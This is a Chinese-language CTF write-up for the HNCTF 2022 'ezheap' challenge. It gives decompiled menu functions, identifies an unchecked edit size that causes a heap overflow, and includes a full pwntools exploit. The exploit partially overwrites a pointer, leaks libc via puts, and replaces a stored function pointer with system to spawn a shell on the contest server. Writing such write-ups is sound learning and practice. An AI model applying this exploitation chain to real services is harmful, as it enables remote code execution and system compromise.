[HNCTF 2022 WEEK4]ezheap

堆溢出 + 修改相邻结构体指针低字节 + 泄露 libc base + 触发 getshell

int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  v4 = getnum();
  if ( v4 > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20u);               // heaplist[idx] = malloc(0x20)
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(v0 + 16) = malloc(v4);                    // *(heaplist[idx] + 0x10) = malloc(size)
    *(heaplist[v3] + 32LL) = &puts;             // *(heaplist[idx] + 0x20) = &puts
    if ( !*(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;                          // sizelist[idx] = size
    puts("Name: ");
    if ( !read(0, heaplist[v3], 0x10u) )        // read(0, heaplist[idx], 0x10)
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !read(0, *(heaplist[v3] + 16LL), sizelist[v3]) )// read(0, *(heaplist[idx] + 0x10), size)
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(v1 + 24) = 1;                             // *(heaplist[idx] + 0x18) = 1
  }
  return v1;
}
_QWORD *delete()
{
  _QWORD *result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0x10 && *(heaplist[v1] + 24LL) )
  {
    free(*(heaplist[v1] + 16LL));
    free(heaplist[v1]);
    sizelist[v1] = 0;
    *(heaplist[v1] + 24LL) = 0;
    *(heaplist[v1] + 16LL) = 0;
    result = heaplist;
    heaplist[v1] = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}
__int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    (*(heaplist[v1] + 32LL))(heaplist[v1]);
    return (*(heaplist[v1] + 32LL))(*(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}
ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(heaplist[v1] + 16LL), nbytes);
  puts("Error idx!");
  return 0;
}

我们发现, edit() 函数并没有对 size 做检查,即存在堆溢出

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')

# io = process('./ezheap')
io = remote("node5.anna.nssctf.cn",21039)

# io = gdb.debug('./ezheap', gdbscript='set pagination off\nbreakrva 0x1534\nbreakrva 0x1754\nbreakrva 0x1805\nc')

def add(i,size):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"1")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size:\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name: \n")
    io.sendline(b"aaaa")
    io.recvuntil(b"Content:\n")
    io.sendline(b"bbbb")

def delete(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"2")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"3")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def edit(i,size,data):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"4")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size:\n")
    io.sendline(str(size).encode())
    io.send(data)

add(0,0x10)
add(1,0x10)

# 0x00005e2ed289a090 -> 0x00005e2ed289a080
payload = cyclic(0x18) + p64(0x31) + b"\x00" * 0x10 + b"\x80"
edit(0,0x31,payload)

show(1)

io.recvuntil(b"\n")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - libc.symbols['puts']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = cyclic(0x18) + p64(0x31) + b"/bin/sh\x00" + cyclic(0x10) + p64(1) + p64(system)
edit(0,0x48,payload)

show(1)

io.interactive()